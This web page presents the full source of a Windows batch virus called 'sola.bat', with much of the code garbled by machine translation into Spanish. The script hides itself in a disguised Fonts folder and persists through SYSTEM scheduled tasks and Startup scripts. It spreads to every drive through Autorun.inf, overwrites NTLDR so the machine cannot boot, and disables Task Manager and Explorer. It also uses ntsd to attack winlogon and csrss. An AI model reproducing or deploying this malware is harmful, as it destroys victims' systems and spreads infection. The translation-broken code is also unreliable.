Procesamiento por lotes de muestras de virus
Aquí tienes el script sola: (sola.bat)
@echo off
set sola=%systemroot%\Fonts\HIDESE~1
establezca setup=%systemroot%\Fonts\HIDESE~1\solasetup
FOR /F "tokens=1" %%i en ('date /t') establezca Realdate=%%i
FOR /F "skip=5 tokens=1,4" %%i in ('dir %systemroot%\explorer.exe') hazlo si /I "%%j"=="explorer. exe" establecer Fecha=%%i
if "%1"=="-Instalar" ir a Instalar
if "%1"=="-Ejecutar" ir a Ejecutar
if "%1"=="-Tenbatsu" ir a Tenbatsu
if "%1"=="-Kill" ir a matar
if "%1" ==="-Killself" ir a Killself
:CheckSign
if "%1"=="-USB" start /max ..
if " % 1"=="-USB" cd SOLA
si existe %systemroot%\Fonts\HIDESE~1\sola.sign ir a Abrir
:FileCopy
establecer selfname=%0
:HIDESelf
fecha %Fecha%
md %systemroot%\Fonts\HIDESELF...\
fecha %RealDate%
si no es "%1"=="-USB" escriba %selfname%>%systemroot%\Fonts\HIDESE~1\sola.bat
si "%1"=="-USB" escriba sola.bat>%systemroot%\Fonts\HIDESE~1\sola.bat
escriba Function.dll>%systemroot%\Fonts\HIDESE~1 \ Function.exe
echo en caso de error Reanudar siguiente>%systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo set ws=wscript.createobject("wscript.shell" ) >>%systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo ws.run "cmd /c %sola%\SOLA.BAT -Install",0 >>%systemroot%\Fonts \ HIDESE~1\SOLA.VBS
cscript %systemroot%\Fonts\HIDESE~1\SOLA.VBS
echo>%systemroot%\Fonts\HIDESE~1\sola. firmar
del %systemroot%\Fonts\HIDESE~1\SOLA.VBS
ir a Abrir
:Instalar
:PackerSetup
p><p>%SystemDrive%
cd %systemroot%\Fonts\HIDESE~1
si existe Function.exe taskkill /f /im Function.exe
if existe solasetup rd /s /q solasetup
md solasetup
cd solasetup
copiar ..\Function.exe Function.dll
..\Function.exe -x
cd..
fecha %Fecha%
tipo %setup%\rar.exe >%systemroot%\system32 \rar.exe
fecha %Realdate%
copia %setup%\Function.dll %sola%\Function.dll
atributo %sola%\Function .dll +s +h +r
rar -m0 -ep -ep1 a %setup%\docpack.dll %sola%\Function.dll
rar -m0 -ep - ep1 a %setup%\txtpack.dll %sola%\Function.dll
rar -m0 -ep -ep1 a %setup%\exepack.dll %sola%\Function.dll
rar -m0 -ep -ep1 a %setup%\jpgpack.dll %sola%\Function.dll
del Function.exe
:Mainsetup
set A0001=copia
set A0002=attrib
set A0003=echo
set A0005=Detección de hardware de Shell
lista de tareas >% sola%\task.txt
FOR /F "tokens=1" %%i in ('findstr /I "svchost.exe" "%sola%\task.txt"') establezca svchost= %%i
%A0001% %systemroot%\system32\cmd.exe %sola%\%svchost%
del %sola%\task.txt
:Tareas
%A0002% %systemroot%\Tasks\Tasks.job -s -h -r
del %systemroot%\Tasks\Tasks.job
fecha %Fecha%
tipo %setup%\Tasks.xxx>%systemroot%\Tasks\Tasks.job
schtasks /change /ru "NT AUTHORITY\SYSTEM" / tn "Tareas" y si el nivel de error es 1, vaya a TaskFail
fecha %RealDate%
vaya a TaskSuc
:TaskFail
%homedrive%
cd "%ALLUSERSPROFILE%"
cd menú "Inicio"\Programas\Inicio
fecha %Fecha%
%A0003% En caso de error Reanudar Siguiente>SOLA.VBS
%A0003% set ws=wscript.createobject("wscript.shell")>>SOLA.VBS
%A0003% ws.run "%sola%\svchost.exe /c %sola%\SOLA.BAT -Run",0 >>SOLA.VBS
%A0001% SOLA.VBS %sola%\SOLA.VBS
%A0003% NT>%systemroot%\Fonts\HIDESE~1\NoTasks
fecha %RealDate%
:TaskSuc
%A0002% %systemroot%\Tasks\Tasks.job +s +h +r
fecha %Fecha%
%A0001% % setup%\sleep.exe %systemroot%\system32\sleep.exe
fecha %RealDate%
:NoAutoPlay
net stop "%A0005%"
%A0003% Editor del Registro de Windows Versión 5.00>%systemroot%\Fonts\HIDESE~1\Regedit.reg
%A0003% [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ShellHWDetection]> >%systemroot%\Fonts\HIDESE~1\Regedit.reg
%A0003% "Start"=dword:00000004>>%systemroot%\Fonts\HIDESE~1\Regedit.reg
regedit /s %systemroot%\Fonts\HIDESE~1\Regedit.reg
::Fin de la instalación
ir a Fin y si el nivel de error 1 sale
::Fin de la instalación
:Ejecutar
set runroot=%ALLUSERSPROFILE%\menú "Inicio"\Programas\Inicio
set taskroot=%systemroot%\ Tareas
:RunTimeChk
si no existe %sola%\RunTime.txt echo !50>%sola%\RunTime.txt
FOR /F "tokens =1 delims=!" %%i en (%sola%\RunTime.txt) establece RunTime=%%i
if /i %RunTime% leq 0 goto Virus
set /a RunTime=%Runtime%-1
echo !%Runtime%>%sola%\RunTime.txt
:Diskchk
echo al reanudar con error Siguiente>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
echo set ws=wscri
pt.createobject("wscript.shell")>>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
echo ws.run "%sola%\svchost.exe /c %setup%\ RecentInf.bat",0 >>%systemroot%\Fonts\HIDESE~1\RecentInf.VBS
cscript %systemroot%\Fonts\HIDESE~1\RecentInf.VBS
del %systemroot%\Fonts\HIDESE~1\RecentInf.VBS
para %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do vol %%i:&if errorlevel 1 set %%i=1
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do echo 1>%%i:\solachk1 & findstr . 0" %%i:\Autorun.inf & si nivel de error 1 attrib -s -h -r %%i:\Autorun.inf© /y %setup%\Autorun.inf %%i:\Autorun.inf&attrib %%i: \Autorun.inf +s +h +r&md %%i:\SOLA© /y "%setup%\sola.bat" %%i:\SOLA\SOLA.BAT© /y "%setup%\Function.dll" %% i:\SOLA\Function.dll&attrib %%i:\SOLA +s +h +r
:Turn
if "%C%"=="1" vol C: &si no es nivel de error 1, llame a %setup%\Scan.bat C:
if "%D%"=="1" vol D:&si no es nivel de error 1, llame a %setup%\Scan.bat D:
if "%E%"=="1" vol E:&si no hay nivel de error 1, llame a %setup%\Scan.bat E:
if "%F%"==" 1" vol F:&si no es nivel de error 1, llame a %setup%\Scan.bat F:
if "%G%"=="1" vol G:&si no es nivel de error 1, llame a %setup%\Scan .bat G:
if "%H%"=="1" vol H:&si no nivel de error 1 llamada %setup%\Scan.bat H:
if "%I %"=="1" vol I:&si no hay nivel de error 1, llame a %setup%\Scan.bat I:
if "%J%"=="1" vol J:&a
mp;si no hay nivel de error 1, llame a %setup%\Scan.bat J:
if "%K%"=="1" vol K:&si no, llame al nivel de error 1 %setup%\Scan.bat K :
if "%L%"=="1" vol L:&si no nivel de error 1 llame a %setup%\Scan.bat L:
if "%M%"= ="1" vol M:&si no es nivel de error 1, llame a %setup%\Scan.bat M:
if "%N%"=="1" vol N:&si no es nivel de error 1, llame a %setup% \Scan.bat N:
if "%O%"=="1" vol O:&si no nivel de error 1 llamada %setup%\Scan.bat O:
if " %P%"=="1" vol P:&si no es nivel de error 1 llame a %setup%\Scan.bat P:
if "%Q%"=="1" vol Q:&si no es nivel de error 1 llamada a %setup%\Scan.bat P:
if "%R%"=="1" vol R:&si no hay nivel de error 1 llamada a %setup%\Scan.bat R:
si "%S%"=="1" vol S:&si no hay nivel de error 1, llame a %setup%\Scan.bat S:
if "%T%"=="1" vol T:&si no es nivel de error 1, llame a %setup%\Scan.bat T:
if "%U%"=="1" vol U:&si no es nivel de error 1, llame a %setup%\Scan.bat U :
if "%V%"=="1" vol V:&si no nivel de error 1 llame a %setup%\Scan.bat V:
if "%W%"= ="1" vol W:&si no es nivel de error 1, llame a %setup%\Scan.bat W:
if "%X%"=="1" vol X:&si no es nivel de error 1, llame a %setup% \Scan.bat X:
if "%Y%"=="1" vol Y:&si no nivel de error 1 llame a %setup%\Scan.bat Y:
if " %Z%"=="1" vol Z:&si no es nivel de error 1 llame a %setup%\Scan.bat Z:
if "%C%"=="2" vol C:&si es nivel de error 1 establecer C=1
if "%D%"=="2" vol D:&si nivel de error 1 establecer D=1
if "%E%"=="2" vol E:&si nivel de error 1 establece E=1
if "%F%"=="2" vol F:&si nivel de error 1 establece F=1
if "%G% "==
"2" vol G:&si nivel de error 1 establece G=1
if "%H%"=="2" vol H:&si nivel de error 1 establece H=1
if " %I%"=="2" vol I:&si el nivel de error 1 establece I=1
si "%J%"=="2" vol J:&si el nivel de error 1 establece J=1
if "%K%"=="2" vol K:&si nivel de error 1 establecido K=1
if "%L%"=="2" vol L:&si nivel de error 1 establecido L=1
if "%M%"=="2" vol M:&si nivel de error 1 establece M=1
if "%N%"=="2" vol N:&si nivel de error 1 establece N=1
if "%O%"=="2" vol O:&si nivel de error 1 establece O=1
si "%P%" =="2" vol P:&si nivel de error 1 establece P=1
if "%Q%"=="2" vol Q:&si nivel de error 1 establece Q=1
if "%R%"=="2" vol R:&si el nivel de error 1 establece R=1
if "%S%"=="2" vol S:&si el nivel de error 1 establece S=1
if "%T%"=="2" vol T:&si nivel de error 1 establece T=1
if "%U%"=="2" vol U:&si nivel de error 1 conjunto U=1
if "%V%"=="2" vol V:&si nivel de error 1 conjunto V=1
if "%W%"=="2 " vol W:&si nivel de error 1 establece W=1
if "%X%"=="2" vol X:&si nivel de error 1 establece X=1
if "%Y %"=="2" vol Y:&si nivel de error 1 establece Y=1
if "%Z%"=="2" vol Z:&si nivel de error 1 establece Z=1
si existe %systemroot%\Fonts\HIDESE~1\NoTasks si no existe "%runroot%\SOLA.VBS" copia "%sola%\SOLA.VBS" "%runroot%\SOLA.VBS"
si no existe %systemroot%\Fonts\HIDESE~1\NoTasks si no existe %Taskroot%\Tasks.job copia %setup%\Tasks.xxx %Taskroot%\Tasks.job&attrib %Taskroot%\Tasks.job + s +h +r&schtasks /change /ru "NT AUTHORITY\SYSTEM" /tn "Tasks"
sleep 2000
ir a Turn
::Fin de ejecución
>
ir a Fin y si el nivel de error 1 sale
::Fin de ejecución
:Virus
si no es "%Runtime%"=="0" ir a VirusChk
set /a RunTime=%Runtime%-1
echo !%Runtime%>%sola%\RunTime.txt
cd "%ALLUSERSPROFILE% \Menú "Inicio"\Programas\Inicio"
echo en caso de error Reanudar siguiente>TENBATSU.VBS
echo set ws=wscript.createobject("wscript.shell")>>TENBATSU .VBS
echo ws.run "%sola%\sola.bat -Tenbatsu",0 >>TENBATSU.VBS
ir a Diskchk
:VirusChk
si no existe "%ALLUSERSPROFILE%\"Inicio" Menú\Programas\Inicio\TENBATSU.VBS" ir a Kill
ir a Diskchk
:Tenbatsu
:KillNTLDR
attrib %systemdrive%\NTLDR -s -h -r
copiar /Y %systemdrive%\NTLDR %sola%\NTLDR
echo NO NTLDR>%systemdrive%\NTLDR
::attrib %systemdrive%\NTLDR +s +h +r
:PauseSFC
iniciar mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -pn winlogon.exe',0);window.close()"
:KillTaskmgr
del /q /a %systemroot%\system32\dllcache\taskmgr.exe
taskkill /f /im taskmgr.exe & si nivel de error 1 ren %systemroot%\system32\taskmgr.exe taskmgr.xxx & si nivel de error 1 inicie mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn taskmgr.exe',0);window.close()" & sleep 500
ren % systemroot%\system32\taskmgr.exe taskmgr.xxx
:KillExplorer
taskkill /f /im explorer.exe >nul& si el nivel de error 1 ren %systemroot%\system32\explorer.exe explorer.xxx e inicie mshta "javascript:new ActiveXObject('WScript.Shell').Run('ntsd -c q -pn
explorer.exe',0);window.close()" y suspensión 500
ren %systemroot%\explorer.exe explorer.xxx
start /max %setup%\TENBATSU .BAT
:Timeset
dormir 660000
si existe %sola%\Killself Salir
:Kill
attrib %systemdrive%\NTLDR -s -h -r
echo NO NTLDR>%systemdrive%\NTLDR
::attrib %systemdrive%\NTLDR +s +h +r
lista de tareas >%sola%\Task.txt
FOR /F "tokens=2" %%i in ('findstr /I "csrss.exe" "%sola%\ Task.txt"') hacer ntsd -p %%i
ir a Diskchk
:KillSelf
:StartExplorer
ren %systemroot %\explorer.xxx explorer.exe
iniciar %systemroot%\explorer.exe
:BackNTLDR
attrib %systemdrive%\NTLDR -s -h - r
copiar /Y %sola%\NTLDR %systemdrive%\NTLDR
attrib %systemdrive%\NTLDR +s +h +r
:RenTmg
ren %systemroot%\system32\taskmgr.xxx taskmgr.exe
:KillVirus
copiar %setup%\KillVirus.txt %sola%\KillVirus.txt
C:
cd\
md ~Instalar
cd ~Instalar
rar x -hpkakenhi200601 % setup%\SolaKiller.rar
mshta "javascript:new ActiveXObject('WScript.Shell').Run('C:\\~Install\\Install.bat %%1',0);ventana .close()"
rd /s /q %setup%
attrib %systemroot%\Tasks\Tasks.job -s -h -r
del %systemroot%\Tasks\Tasks.job
cd "%ALLUSERSPROFILE%\"Menú Inicio\Programas\Inicio"
si existe sola.vbs del sola.vbs
si existe tenbatsu.vbs del tenbatsu.vbs
iniciar %systemroot%\system32\notepad.exe %sola%\KillVirus.txt
del %sola%\ sola .bat
Salir
:Abrir
si "%1"=="-USB"
Salir